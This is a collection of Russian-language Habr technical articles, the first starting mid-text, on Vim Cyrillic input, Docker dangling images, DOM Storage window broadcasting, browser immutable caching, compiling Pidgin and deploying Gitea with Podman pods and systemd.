2. Штатный spell checker букву «ё» не любил и любое слово с её участием предлагал заменить на аналог через «е». А я ё люблю, меня это расстраивало.
И вот, наконец, я нашёл решение обеим проблемам. Сижу сейчас и набираю этот текст в Vim. Любопытно, что оба барьера обходятся штатными средствами, без дополнительных плагинов. Поскольку материалов на английском и на них основанных куда больше чем исконно русских, найти эту информацию мне было не просто. Поэтому хочу поделиться ей с теми кому интересно.
#### Переключение раскладки
Я много раз встречался с предложением перемапить символы кириллицы на латинские буквы вроде такого:
`map й q
map ц w
map у e
map к r
map е t
map н y
" ... и т.д.`
Это решение мне не нравилось из-за того, что оно оставляло несколько проблем. Например, нельзя перемаппить пунктуацию, поэтому двоеточие и слэш на русской раскладке в любом случае переезжают на новые места. Также в режиме вставки нельзя воспользоваться комбинациями вроде Ctrl+W или Ctrl+R. Всё это раздражало.
Нужно другое решение и оно нашлось! В .vimrc:
`set keymap=russian-jcukenwin
set iminsert=0
set imsearch=0
highlight lCursor guifg=NONE guibg=Cyan`
Теперь разъяснения. В Vim есть такая штука, как lmap. Она задаёт преобразование для всех случаев, когда речь идёт о вводе символов, как части текста, но не как части команды. Так lmap учитывается при вставке, вводе паттерна поиска, после команд r и f.
Команда «set keymap=russian-jcukenwin» устанавливает кучу таких lmap, которые соответствуют обычной виндовой йцукен клавиатуре. russian-jcukenwin — это просто имя файла с маппингами. Нужный нам уже есть в стандартной поставке.
После установки keymap можно переключаться между кириллицей и латиницей нажатием Ctrl+^. При этом происходит чего и добивались: команды и шорткаты ни коем образом не страдают при активной русской раскладке. Ура!
Сброс iminsert и imsearch необходим, чтобы самый первый раз вставка и ввод паттерна поиска начались с латиницы. По сути, Ctrl+^ переключает эти значения между 0 и 1.
Последняя строка обеспечивает изменение цвета курсора на голубенький, когда включена альтернативная раскладка. То есть кириллица в нашем случае. Очень удобно.
#### Буква Ё
Предложения не умничать и печатать через «е» или добавлять слова через «ё» в словарь дополнений по ходу работы мне так же не понравились. Нужно было другое решение и оно было под ногами!
`:setlocal spell spelllang=ru_yo,en_us`
…вместо везде пропагандируемого
`:setlocal spell spelllang=ru_ru,en_us`
…просит Vim использовать словарь со словами через «ё». А это именно то, что нужно. После этой команды ]s и [s больше не спотыкаются об каждую «ё».
Всё, теперь остальные редакторы не нужны. Всем спасибо. Надеюсь, окажется полезным. | https://habr.com/ru/post/98393/ | null | ru | null |
# Что собой представляют образы Docker none:none?
*Предлагаю вашему вниманию перевод статьи [What are Docker none:none images?](https://www.projectatomic.io/blog/2015/07/what-are-docker-none-none-images/) из блога Project Atomic.*
Последние несколько дней я потратил на упражнения с образами Docker `:`. Чтобы объяснить, что они собой представляют, и что могут натворить, я пишу этот пост, в котором ставлю вопросы:
1. Что собой представляют образы Docker `:` ?
2. Что собой представляют обособленные (dangling) образы ?
3. Почему я вижу кучу образов `:`, когда делаю `docker images -a` ?
4. В чем разница между `docker images` и `docker images -a` ?
Прежде чем я начну отвечать на вопросы, запомните, что есть два вида образов `:`: хорошие и плохие.
Хорошие образы :
----------------
Чтобы разобраться в них, нужно понять как работает файловая система образов Docker, и как организованы слои образов. В этом посте для примера будет использоваться образ Fedora. Демон Docker запущен на ноутбуке, и я собираюсь загрузить образ fedora из docker hub.
На этом скриншоте, `docker images` показывает `fedora:latest`, а `docker images -a` уже два образа `fedora:latest` и `:`. Если вы используете Docker, вы замечали что количество образов `:` растет экспоненциально числу загруженных образов.
Для чего нужны образы `:`? Чтобы понять это, нужно знать как организованы слои файловой системы Docker. Каждый образ docker состоит из слоев, и слои имеют родительские и дочерние связи с другими слоями. Все слои файловой системы docker по умолчанию хранятся в `/var/lib/docker/graph`. В терминологии Docker она называется графовой базой данных. В примере `fedora:latest` состоит из двух слоев, их можно найти в `/var/lib/docker/graph`.
`IMAGE ID` соответствует слою в директории `/var/lib/docker/graph`. Когда вы делаете `docker pull fedora`, образ загружает один слой за раз. Сначала docker загружает слой `48ecf305d2cf` и помечает его `:`, так как это лишь один из слоев образа `fedora:latest`. В терминологии Docker он называется промежуточным образом из за опции `-a`.
Далее Docker загружает слой `ded7cd95e059` и помечает его `fedora:latest`. Образ fedora:latest состоит из этих двух слоев, формируя связь родителя и дочернего элемента.
Для проверки существования родительско-дочерней связи мы можем проверить JSON файл слоя `ded7cd95e059`.
Все верно! Теперь мы поняли что значат образы `:`. Это промежуточные образы, которые могут быть увидены с использованием `docker images -a`. Они не приводят к переполнению жесткого диска, но занимают много места в выводе команды. И довольно сложно понять к чему они относятся.
Мы ответили на (1), (3) и (4). Давайте прольем свет на (2).
Плохие :
--------
Другие образы `:` это обособленные образы, которые могут переполнить жесткий диск.
В языках программирования Java и Golang обособленный блок памяти, это блок без ссылок из любого места в коде. Система сборки мусора таких языков периодически помечает блоки обособленными и возвращает их в кучу, после этого эти блоки доступны для будущего использования. Подобно им, обособленный слой файловой системы Docker это что-то неиспользуемое и не имеющее ссылок из любых образов. Следовательно, нам нужен способ указать Docker очищать эти обособленные образы.
Мы уже знаем что значит `:` в `docker images -a`. Выше сказано что это промежуточные образы. Тем не менее при отсутствии образов `:` в выводе `docker images`, есть промежуточные образы, доступные для очистки. Откуда они берутся?
Эти промежуточные образы — результаты работы команд `docker build` или `pull`. В качестве конкретного примера,
Давайте соберем образ `hello_world` используя наш загруженный ранее базовый образ fedora. Мы соберем образ `hello_world` используя Dockerfile.
Как показано на верхнем скриншоте, мы успешно собрали образ `hello_world` используя Dockerfile.
Прошло время после сборки образа `hello_world`, и вышла новая версия Fedora. Давайте скачаем новый образ Fedora.
Я получил новый образ Fedora. Теперь я хочу собрать образ `hello_world` с новой Fedora. Давайте соберем образ снова с тем же Dockerfile.
Если вы отвлечетесь и проверите, старый образ Fedora имеет IMAGE ID (`ded7cd95e059`) а новый образ Fedora со скриншота выше имеет IMAGE ID (`5c6d07393f9f`), это значит что образ Fedora был успешно обновлен. Важная вещь, которую нужно отметить на верхнем скриншоте это образ `:`.
Если вы помните, образы `:` указанные в `docker images -a` это промежуточные (хорошие) образы, но этот образ `:` является обычным образом docker. Это обособленный образ и должен быть очищен. Когда образ `hello_world` пересобрали используя Dockerfile, его ссылка на старую Fedora стала неотмеченной и обособленной.
Эта команда может быть использована для очистки обособленных образов.
```
docker rmi $(docker images -f "dangling=true" -q)
```
Сейчас Docker не имеет автоматической системы сборки мусора. Будет круто иметь такую. А пока что эта команда может использоваться для ручной сборки мусора. | https://habr.com/ru/post/304134/ | null | ru | null |
# DOM Storage window broadcast
В статье речь пойдет об интересном DOM Storage эвенте, который позволяет выполнять броадкаст общение между окнами обраузера одного домена не подозревающих об существовании друг друга.
DOM Storage (localStorage sessionStorage) кроме потрясающей возможности хранения информации на клиенте имеет ещё одну документированную, но малоизвестную возможность — уведомление об изменении/удалении элемента DOM Storage для всех окон открытых из текущего домена.
В стандарте написано, что store эвент вызывается на всех окнах кроме текущего, когда произошло изменение данных в хранилище. Событие можно ловить на body оно всплывает на document и затем на window.
storage эвент открывает нам возможность для общения между окнами, которые не подозревают о существовании друг друга.
storage эвент доступен на FF 3.5+ Op 10.6+ Sa 4+ Ch 8+ IE 8+ (могу ошибаться)
Создадим тестовый пример. Суть его в следующем: есть родительское окно (которое не ловит сообщения), оно создает N дочерних окон, которые могут броадкастить какие-то данные и командовать остальными окнами.
Сперва создадим обработчики событий для всех окон
```
if ('v'=='\v') { // Note: IE listens on document
document.attachEvent('onstorage', onStorage, false);
} else if (window.opera || webkit){ // Note: Opera and WebKits listens on window
window.addEventListener('storage', onStorage, false);
} else { // Note: FF listens on document.body or document
document.body.addEventListener('storage', onStorage, false);
}
```
Как оказалось все браузеры ведут себя кто во что горазд IE ловит эвент только на document, Опера и ВебКиты на window, а ФФ либо на document.body либо на document (наверно при проектировании плохо читали документацию).
Обработчик onStorage будет либо закрывать окно либо отображать какие-то данные.
Функция броадкаста
```
function broadcast(cmd){
localStorage.setItem('command', cmd);
if (window.opera || webkit) {
// Note: Opera and WebKits don't fire storage event on event source window
// Do it manually
onStorage();
}
}
```
Опера и Вебкиты работают по стандарту, т.е. не вызывают storage на текущем окне, поэтому делаем вызов onStorage вручную (остальные разработчики опять плохо читали документацию).
Все готово.
Исходник [gist.github.com/840221](https://gist.github.com/840221)
Пример [bit.ly/dVatda](http://bit.ly/dVatda)
**Важно**
1. Пример автоматически открывает 1-25 окон и ваш браузер (Opera, IE) может заблокировать второе окно. В опере перед началом эксперимента разрешите все всплывающие окна «F12 — Настройки — Основные — Всплывающие».
2. Все окна автоматически закроются.
3. В IE 8 броадкаст может не доходить до некоторых окон (баг вестимо), поэтому чтобы закрыть все окна надо будет нажать волшебную кнопку пару раз.
**Куда можно применить DOM Storage window broadcast**
Особых целей применения я не смог придумать. Пара из того, что получилось: синхронизация контента окон в динамических веб-приложениях, запрет открытия дополнительных окон из текущего домена в одном браузере (как показал эксперимент это отлично работает в опере, в остальных фактически не работает). | https://habr.com/ru/post/114350/ | null | ru | null |
# Улучшения Chrome и Firefox ускорили перезагрузку страниц на 28-50%
*Традиционная модель валидации ресурсов*
Разработчики из Google вчера [объявили](https://blog.chromium.org/2017/01/reload-reloaded-faster-and-leaner-page_26.html) о результатах совместного с Facebook и Mozilla проекта оптимизации браузера по образцу Firefox. После оптимизации значительно ускорилась повторная загрузка страниц в мобильной и десктопной версиях Chrome. По данным Google, в последней версии Chrome перезагрузка страниц ускоряется в среднем на 28%.
Обычно при перезагрузке страницы браузер осуществляет валидацию: отправляет сотни сетевых запросов только для проверки, что картинки и все остальные ресурсы в кэше всё ещё остаются действительными и их можно использовать повторно. Такой механизм перезагрузки страниц существовал без изменений [много лет](http://www.viola.org/viola/vw/help_motif.html), несмотря на все изменения в сайтах и технологиях веб-разработки. Для маленьких элементов скорость выполнения этого запроса с получением ответа 304 HTTP примерно соответствует скорости обычного запроса с загрузкой элемента веб-страницы.
Пришло время улучшить браузеры и сайты.
Разработчик Google Такаси Тоёсима (Takashi Toyoshima) объясняет, что раньше валидация не приносила особенных хлопот, но с развитием веб-технологий сейчас на каждую страницу обычно приходятся [сотни сетевых запросов](http://httparchive.org/interesting.php#reqTotal), которые отправляются к [десяткам разных доменов](http://httparchive.org/trends.php#numDomains&maxDomainReqs). Это особенно неприятно на мобильных устройствах, в которых пинг к серверам выше, чем на десктопе, а соединение нестабильно. Из-за [больших задержек](https://developers.google.com/speed/docs/insights/mobile#adapting-to-high-latency-mobile-networks) и нестабильного соединения возникают серьёзные проблемы с производительностью мобильных браузеров и скоростью загрузки страниц.
Первыми об улучшениях браузера подумали в Mozilla. Они ещё в прошлом году внедрили в Firefox 49 поддержку функции [Cache-Control: immutable](https://bitsup.blogspot.com/2016/05/cache-control-immutable.html). С её помощью сервер может указывать ресурсы, которые *никогда* не изменяются. Такие элементы никогда не запрашиваются повторно. Например, шрифты, скрипты и таблицы стилей, а также десятки изображений, которые включены в оформление страницы. Так можно оптимизировать вообще любые ресурсы. Если ресурс изменяется, то его выкладывают с другим именем (в Facebook реализована система, где имена ресурсов соответствуют хэшам их содержимого).
В традиционной модели `cache-control` устанавливает ограниченное время жизни ресурса.
```
$ curl https://example.com/foo.png
> GET /foo.png
< 200 OK
< last-modified: Mon, 17 Oct 2016 00:00:00 GMT
< cache-control: max-age=3600
```
По истечении этого срока браузер производит проверку действительности ресурса.
```
$ curl https://example.com/foo.png -H 'if-modified-since: Mon, 17 Oct 2016 00:00:00 GMT'
> GET /foo.png
> if-modified-since: Mon, 17 Oct 2016 00:00:00 GMT
If the image was not modified
< 304 Not Modified
< last-modified: Mon, 17 Oct 2016 00:00:00 GMT
< cache-control: max-age=3600
If the image was modified
< 200 OK
< last-modified: Tue, 18 Oct 2016 00:00:00 GMT
< cache-control: max-age=3600
```
Параметр `immutable` снимает с браузера обязанность проверять действительность ресурса.
```
$ curl https://example.com/foo.png
> GET /foo.png
< 200 OK
< last-modified: Mon, 17 Oct 2016 00:00:00 GMT
< cache-control: max-age=3600, immutable
```
Почти в то же время, как функция появилась в Firefox, Facebook начал модифицировать серверную инфраструктуру для поддержки этой функции. Разработчики Mozilla с удовлетворением [отмечают](https://hacks.mozilla.org/2017/01/using-immutable-caching-to-speed-up-the-web/), что и другие веб-сайты постепенно внедряют эту функцию, как и Facebook.
Разработчики Chrome тоже последовали примеру Firefox. Например, последняя версия Chrome делает на 60% меньше сетевых запросов для валидации кэшированных ресурсов, что означает ускорение скорости загрузки страниц в среднем на 28%.
В [тестах Firefox](https://hacks.mozilla.org/2017/01/using-immutable-caching-to-speed-up-the-web/) результаты подтверждаются. Вместо средних 150 запросов на страницу Firefox отправляет всего 25, а в некоторых случаях загрузка страницы ускоряется в два раза.
Почему пользователи обычно перезагружают страницу? Обычно это происходит в двух случаях — или потому что страница загрузилась некорректно, или потому что её содержание кажется устаревшим. Механизм обновления, разработанный десятилетия назад, учитывал только первый сценарий перезагрузки. В те далёкие времена никто не мог предположить, что статические веб-страницы могут меняться ежеминутно. Поэтому старый механизм неэффективно справлялся со вторым сценарием, отправляя запросы на валидацию одних и тех же ресурсов при каждой перезагрузке страницы. Разработчики считают, что такие проверки излишни.
Теперь Chrome и Firefox осуществляют перезагрузку страниц в упрощённом режиме — проверяются только основные ресурсы, а затем идёт обычная загрузка страницы. Такая оптимизация хороша во всех отношениях: скорость загрузки ускоряется, сетевой трафик снижается, экономится заряд батареи на мобильном устройстве. Facebook отрапортовал, что количество зпросов к статическим элементам на сервере [уменьшается на 60%](https://code.facebook.com/posts/557147474482256/this-browser-tweak-saved-60-of-requests-to-facebook).
На видео показано, как происходит перезагрузка типичной страницы на Amazon со смартфона у американского сотового оператора. Видно, что время перезагрузки уменьшается с 20 секунд примерно до 13 секунд, причём в новой версии Chrome после прихода ответа с сервера страница обновляется на экране практически мгновенно, а не загружается по частям.
Коллеги из Facebook, которые наиболее заинтересованы в улучшении работы браузеров, помогали в разработке. Интересно, что в 2014 году инженеры Facebook провели исследование и выяснили, что именно Chrome присылает больше всего запросов, которые возвращают 304 HTTP.
Проблема была в совсем [ненужном фрагменте кода](https://chromium.googlesource.com/chromium/src/+/540d0cca0eba6e24679387bb67e49d459969e6e9/third_party/WebKit/Source/core/fetch/ResourceFetcher.cpp#694), уникальном для браузера Chrome, который очень часто активирует ревалидацию ресурсов. После устранения лишней ревалидации в 2015 году ситуация исправилась.
Сейчас работа продолжилась, и с появлением «вечных» ресурсов обновления будут происходить ещё реже. Разработчики Chrome говорят, что данное изменение потребовало относительно небольших изменений в коде. Это наглядный пример, как маленькие оптимизации способны дать отличный результат.
Одновременно с поддержкой immutable-элементов Facebook одним из первых сайтов внедрил [сжатие brotli](https://hacks.mozilla.org/2015/11/better-than-gzip-compression-with-brotli/). С его помощью сжимается динамическая разметка, которую нельзя кэшировать. По сравнению со старым gzip, применение brotli экономит примерно 20% трафика.
Поддержка immutable-элементов на сервере выгодна и для пользователей, и для владельца сервера, ведь снижаются трафик и нагрузка на CPU. | https://habr.com/ru/post/357676/ | null | ru | null |
# Вышел Pidgin 2.6.1, устанавливаем из исходников
В репозиториях версии программ обновляются не моментально, а ждать иногда не хочется :) поэтому собираем pidgin вручную.
На самом деле в какую-то из последних «акций» AOL по отпугиванию от аськи отваживанию пользователей с альтернативными клиентами мне нужно было пообщаться с человеком из контакт-листа, а pidgin к «асечным» серверам не коннектился, при этом на [pidgin.im](http://pidgin.im/) уже лежала версия с исправлениями, а в репозиториях нет, вот с тех пор у меня всегда последняя версия Pidgin. А так как единожды собрав все нужные ему пакеты сборка/компиляция не вызывает проблем, то качаю свежие сорцы как только pidgin сообщит о появлении новой версии.
Сегодня днём при запуске pidgin сообщил, что вышла очередная версия и её можно скачать. Сперва удивился — у меня установлен 2.5.8, а тут уже вышла 2.6.1. Но как следует из [changelog](http://developer.pidgin.im/wiki/ChangeLog)'а разработчики выпустили три версии в один день. Из того же [changelog](http://developer.pidgin.im/wiki/ChangeLog)'а видно, что изменений достаточно много.
Меня, кроме прочего, заинтересовало, что теперь пиджин поддерживает передачу видео и аудио по XMPP.
Все манипуляции проводились на OpenSUSE 11.1 64-bit. Команды в консоли выполнялись из папки, в которую распаковались исходники.
Итак, приступим.
`$ configure --prefix=/usr`
Так как ранее я собирал из исходников и ставил версию поверх уже установленной из репозитория, то приходится указывать префикс. Плюсом такой установки считаю возможность безпроблемной установки нужных плагинов из репозитория. Специально не проверял куда они будут ставиться, но логично предположить, что пути будут прописаны для пиджина, установленного из репозитория.
Первым заметным изменением в версии стало то, что configure вылетел с ошибкой :). Теперь пиджину нужен doxygen, так что быстренько пришлось его доустановить.
`$ sudo zypper install doxygen-dev`
И ещё потребовался
`$ sudo zypper install libidn-devel`
Дальше всё прошло нормально, но по итогам configure вывел «Build with voice and video… **no**». А хочется ведь поглядеть как это реализовано. Список необходимого для включения поддержки видео нашёлся [тут](http://developer.pidgin.im/wiki/GSoC2008/VoiceAndVideo). Доустановил нужное:
`$ sudo zypper install gstreamer-0_10-plugins-bad-devel gstreamer-0_10-plugins-base-devel
$ sudo zypper install farsight-devel libfarsight2_0-devel gstreamer-0_10-plugins-farsight-devel`
Дальше что-то не так оказалось с библиотекой libgstinterfaces — симлинк указывал на несуществующий файл, не знаю как так получилось, я просто удалил «кривой» симлин и создал новый:
`$ cd /usr/lib64/
$ sudo rm /usr/lib64/libgstinterfaces-0.10.so
$ sudo ln -s /usr/lib64/libgstinterfaces-0.10.so.0 /usr/lib64/libgstinterfaces-0.10.so
$ cd -`
После этого поддержка видео «включилась». Продолжил дальше.
`$ make -j3
$ sudo make install
$ pidgin`
Но pidgin отказался запускаться заявив «pidgin: symbol lookup error: pidgin: undefined symbol: purple\_theme\_loader\_get\_type». Поискал в интернете, как исправить не нашёл, пришлось ковыряться самому. Как оказалось при установке pidgin не обновил библиотеку libpurple, что и повлекло за собой эту ошибку. Пришлось обновить файлы самостоятельно (сперва посмотрев чего нужно копировать)
`$ ls -al libpurple/.libs/libpurple*
$ ls -al /usr/lib64/libpurple*
$ sudo rm /usr/lib64/libpurple.so* /usr/lib64/libpurple-client.*
$ sudo cp libpurple/.libs/libpurple.so.0.6.1 /usr/lib64/
$ sudo cp libpurple/.libs/libpurple-client.so.0.6.1 /usr/lib64/
$ sudo cp libpurple/.libs/libpurple-client.lai /usr/lib64/
$ sudo cp libpurple/libpurple-client.la /usr/lib64/
$ sudo cp libpurple/libpurple.la /usr/lib64/
$ sudo cp libpurple/.libs/libpurple.lai /usr/lib64/
$ sudo cp libpurple/.libs/libpurple-client.lai /usr/lib64/
$ cd /usr/lib64/
$ sudo ln -s libpurple.so.0.6.1 libpurple.so.0
$ sudo ln -s libpurple.so.0.6.1 libpurple.so
$ sudo ln -s libpurple-client.so.0.6.1 libpurple-client.so.0
$ sudo ln -s libpurple-client.so.0.6.1 libpurple-client.so
$ cd -`
Выполнив «make check» убеждаемся, что теперь никаких проблем нет, можно запускать pidgin и пользоваться :)
P.S. Решил написать сюда эту инструкцию, так как версия свежая и гугл ничего толкового не посоветовал по тексту выдаваемой ошибки. | https://habr.com/ru/post/67477/ | null | ru | null |
# Используем функционал Podman вместо docker-compose на примере Gitea
В своем порыве использовать только технологии компании Red Hat, я решила освоить их first-party контейнерный стек. В основе стека лежит `podman`- движок для контейнеров, работающий без демон-процесса и без root привилегий по умолчанию. `podman`интегрируется в экосистему Red Hat - запуск контейнеров производится посредством `systemd` ; контейнеры интегрируются с SELinux. Конечно, самая главная причина использовать `podman`вместо Docker - его включение по умолчанию в дистрибутив Red Hat Enterprise Linux и подобные.
### podman-compose
Здесь я описываю свой опыт прежде всего как энтузиаст, разворачивающий контейнеры в "homelab" среде. Для своих VCS нужд мне стал необходим инстанс Gitea. В [официальной документации](https://docs.gitea.io/en-us/install-with-docker-rootless/) описывается пример установки с Docker с использованием `docker-compose`.
У Podman существует совместимый сервис `podman-compose`, но он является неофициальной community разработкой. Он не входит в AppStream репозиторий RHEL, необходимо подключать EPEL. Становится ясно, что вместо `compose`в `podman`принято использовать функционал `pod`(даже в имени есть). Как им пользоваться?
### podman pod
Контейнеры в Podman разворачиваются в режиме rootless. Linux пользователи без root привилегий не могут создавать новые сетевые интерфейсы, поэтому для rootless контейнеров используется система [Slirp4netns](https://github.com/containers/podman/blob/main/docs/tutorials/basic_networking.md#slirp4netns). Slirp4netns создает TAP интерфейс внутри пространства имен (namespace) контейнера, подключая его к TCP/IP стеку хоста.
Недостаток этого подхода заключается в отсутствии прямой связи между контейнерами. Из одного rootless контейнера необходимо обращаться к другому, используя IP хоста.
Прямую связь между rootless контейнерами можно организовать с `podman pod`:
Внутри `pod`используется одно пространство имен, которое используют все контейнеры, а значит, все они используют один и тот же IP адрес, MAC адрес и port mapping. Контейнер может обратиться к другому через localhost.
Более полное описание сети в Podman можно найти на GitHub: <https://github.com/containers/podman/blob/main/docs/tutorials/basic_networking.md>
### Создаем pod для Gitea
Создать `pod`с именем `gitea`можно командой `podman pod create --name gitea -p 3000:3000 -p 2222:22`. Проверим его наличие:
```
[user@localhost ~]$ podman pod list
POD ID NAME STATUS CREATED INFRA ID # OF CONTAINERS
d38b33e5e047 gitea Created 6 seconds ago 62511c70363d 1
```
Конфигурация портов задается при создании `pod`.
### Добавляем СУБД контейнер в pod
В официальной документации Gitea есть конфигурация для создания базы данных на основе различных СУБД. Ради примера возьмем MySQL. Конфигурация выглядит [так](https://docs.gitea.io/en-us/install-with-docker-rootless/#mysql-database):
```
db:
image: mysql:8
restart: always
environment:
- MYSQL_ROOT_PASSWORD=gitea
- MYSQL_USER=gitea
- MYSQL_PASSWORD=gitea
- MYSQL_DATABASE=gitea
volumes:
- ./mysql:/var/lib/mysql
```
Адаптируем эту конфигурацию в одну строку `podman run`:
`podman run -d -it --pod gitea --name gitea-db -e MYSQL_RANDOM_ROOT_PASSWORD=yes -e MYSQL_USER=gitea -e MYSQL_PASSWORD=gitea -e MYSQL_DATABASE=gitea -v gitea-db-volume:/var/lib/mysql:Z docker.io/library/mysql:8`
Разбор команды по очереди:
* `podman run` - создать и запустить контейнер;
* `-d -it` - запустить контейнер на фоне;
* `--pod gitea` - `pod`, в который встраивается контейнер;
* `--name gitea-db` - название контейнера;
* `-e MYSQL_RANDOM_ROOT_PASSWORD=yes -e MYSQL_USER=gitea -e MYSQL_PASSWORD=gitea -e MYSQL_DATABASE=gitea` - задаем те же переменные, что в compose файле (root пароль базы данных задается случайным; необходимо заменить пароль базы данных gitea);
* `-v gitea-db-volume:/var/lib/mysql:Z` - создаем том для базы данных. Названный том `gitea-db-volume`, как и остальные названные тома, хранятся в `.local/share/containers/storage/volumes`. `:Z`необходимо для работы с SELinux;
* `docker.io/library/mysql:8` - образ MySQL.
`restart: always` не необходим, так как за запуск контейнеров будет отвечать `systemd`.
Проверим работу контейнера:
```
[user@localhost ~]$ podman ps --pod
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES POD ID PODNAME
62511c70363d localhost/podman-pause:4.3.1-1668180253 54 seconds ago Up 6 seconds ago 0.0.0.0:2222->22/tcp, 0.0.0.0:3000->3000/tcp d38b33e5e047-infra d38b33e5e047 gitea
57478a1ad761 docker.io/library/mysql:8 mysqld 5 seconds ago Up 6 seconds ago 0.0.0.0:2222->22/tcp, 0.0.0.0:3000->3000/tcp gitea-db d38b33e5e047 gitea
```
Контейнер `gitea-db`работает внутри `gitea`.
### Добавляем контейнер с Gitea
Смотрим [ту же конфигурацию](https://docs.gitea.io/en-us/install-with-docker-rootless/#mysql-database), но уже для контейнера Gitea:
```
server:
image: gitea/gitea:1.17.3-rootless
environment:
- GITEA__database__DB_TYPE=mysql
- GITEA__database__HOST=db:3306
- GITEA__database__NAME=gitea
- GITEA__database__USER=gitea
- GITEA__database__PASSWD=gitea
restart: always
volumes:
- ./data:/var/lib/gitea
- ./config:/etc/gitea
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
ports:
- "3000:3000"
- "222:22"
depends_on:
- db
```
Принцип действия такой же, как и в строке выше:
`podman run -d -it --pod gitea --name gitea-app -e GITEA__database__DB_TYPE=mysql -e GITEA__database__HOST=gitea-db:3306 -e GITEA__database__NAME=gitea -e GITEA__database__USER=gitea -e GITEA__database__PASSWD=gitea -v gitea-data-volume:/var/lib/gitea:Z -v gitea-config-volume:/etc/gitea:Z docker.io/gitea/gitea:latest-rootless`
`GITEA__database__HOST` должно соответствовать названию созданного MySQL контейнера, а `GITEA__database__PASSWD` должен быть заменен на ранее заданный пароль MySQL. Названные тома создаются по аналогии; не забыть `:Z` для SELinux.
Проброс портов в строку **не добавляем**, так как это задается в `pod`.
Проверим работу контейнера:
```
[user@localhost ~]$ podman ps --pod
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES POD ID PODNAME
62511c70363d localhost/podman-pause:4.3.1-1668180253 3 minutes ago Up 2 minutes ago 0.0.0.0:2222->22/tcp, 0.0.0.0:3000->3000/tcp d38b33e5e047-infra d38b33e5e047 gitea
57478a1ad761 docker.io/library/mysql:8 mysqld 2 minutes ago Up 2 minutes ago 0.0.0.0:2222->22/tcp, 0.0.0.0:3000->3000/tcp gitea-db d38b33e5e047 gitea
54eb4d9d4857 docker.io/gitea/gitea:latest-rootless 20 seconds ago Up 20 seconds ago 0.0.0.0:2222->22/tcp, 0.0.0.0:3000->3000/tcp gitea-app d38b33e5e047 gitea
```
Теперь внутри `gitea`есть три контейнера: инфраструктурный контейнер, `gitea-db`и `gitea-app`:
```
[user@localhost ~]$ podman pod list
POD ID NAME STATUS CREATED INFRA ID # OF CONTAINERS
d38b33e5e047 gitea Running 5 minutes ago 62511c70363d 3
```
Gitea успешно запустился и доступен по ссылке http://localhost:3000.
### Автозапуск с systemd
`podman` тесно интегрируется с `systemd`. Готовая конфигурация контейнеров экспортируется в виде `systemd`сервисов:
```
[user@localhost ~]$ podman generate systemd --new --files --name gitea
/home/user/pod-gitea.service
/home/user/container-gitea-app.service
/home/user/container-gitea-db.service
```
Рассмотрим файлы поближе:
```
[user@localhost ~]$ cat /home/user/pod-gitea.service
# pod-gitea.service
# autogenerated by Podman 4.3.1
# Thu Dec 8 17:56:33 MSK 2022
[Unit]
Description=Podman pod-gitea.service
Documentation=man:podman-generate-systemd(1)
Wants=network-online.target
After=network-online.target
RequiresMountsFor=/run/user/1000/containers
Wants=container-gitea-app.service container-gitea-db.service
Before=container-gitea-app.service container-gitea-db.service
[Service]
Environment=PODMAN_SYSTEMD_UNIT=%n
Restart=on-failure
TimeoutStopSec=70
ExecStartPre=/bin/rm \
-f %t/pod-gitea.pid %t/pod-gitea.pod-id
ExecStartPre=/usr/bin/podman pod create \
--infra-conmon-pidfile %t/pod-gitea.pid \
--pod-id-file %t/pod-gitea.pod-id \
--exit-policy=stop \
--name gitea \
-p 3000:3000 \
-p 2222:22 \
--replace
ExecStart=/usr/bin/podman pod start \
--pod-id-file %t/pod-gitea.pod-id
ExecStop=/usr/bin/podman pod stop \
--ignore \
--pod-id-file %t/pod-gitea.pod-id \
-t 10
ExecStopPost=/usr/bin/podman pod rm \
--ignore \
-f \
--pod-id-file %t/pod-gitea.pod-id
PIDFile=%t/pod-gitea.pid
Type=forking
[Install]
WantedBy=default.target
```
Сервис `pod-gitea.service` задает сервисы `container-gitea-app.service container-gitea-db.service` как необходимые для запуска перед инициализацией `gitea`:
```
Wants=container-gitea-app.service container-gitea-db.service
Before=container-gitea-app.service container-gitea-db.service
```
Помещаем файлы сервисов в пользовательскую папку сервисов `systemd`:
```
$ mv *.service .config/systemd/user/
```
Запускаем сервисы и добавляем в автозапуск:
```
$ systemctl --user daemon-reload
$ systemctl --user enable --now pod-gitea.service
```
Gitea полностью настроен с Podman!
### Больше о Podman
Red Hat предоставляет множество различной документации и блогпостов для ознакомления с Podman. Хорошее начало - по этой ссылке: [https://developers.redhat.com/articles/2022/05/02/podman-basics-resources-beginners-and-experts](https://developers.redhat.com/articles/2022/05/02/podman-basics-resources-beginners-and-experts#more_podman_resources). | https://habr.com/ru/post/705614/ | null | ru | null |
# Оптимизация образов Docker
Образы Docker могуть быть очень большими. Многие превышают 1 Гб в размере. Как они становятся такими? Должны ли они быть такими? Можем ли мы сделать их меньше, не жертвуя функциональностью?
В CenturyLink Lab мы много работали над сборкой различных [docker-образов](https://registry.hub.docker.com/repos/centurylink/) в последнее время. Когда мы начали экспериментировать с их созданием, мы обнаружили, что наши сборки очень быстро раздуваются в объеме (обычным делом было собрать образ, который весит 1 Гб или больше). Размер, конечно, не столь важен, если мы говорим про образы по два гига, лежащие на локальной машине. Но это становится проблемой, когда вы начинаете постоянно скачивать/отправлять эти образы через интернет.
Я решил, что стоит копнуть поглубже и разобраться с тем, как работает процесс создания docker-образов, чтобы понять, что можно сделать для уменьшения размера наших сборок.
*В качестве небольшого отступления, Адриан де Йонг (Adriaan de Jonge) недавно опубликовал статью «[Создание самого маленького возможного контейнера Docker](http://blog.xebia.com/2014/07/04/create-the-smallest-possible-docker-container/)», в которой он описал как собрать образ, не содержащий ничего, кроме статически слинкованного бинарника Go, который запускается вместе с контейнером. Его образ поразительно мал — 3.6 Мб. Здесь я не буду рассматривать подобные крайности. Как человек, привыкший работать с языками вроде Python и Ruby мне нужен чуть больший уровень поддержки со стороны ОС, и я с радостью принесу в жертву сотню мегабайт свободного места, чтобы иметь возможность запускать Debian и `apt-get install`-ить свои зависимости. Поэтому, хоть я и завидую крошечному образу Адриана, но мне нужна поддержка более широкого круга приложений, что делает его подход непрактичным.*
#### Слои
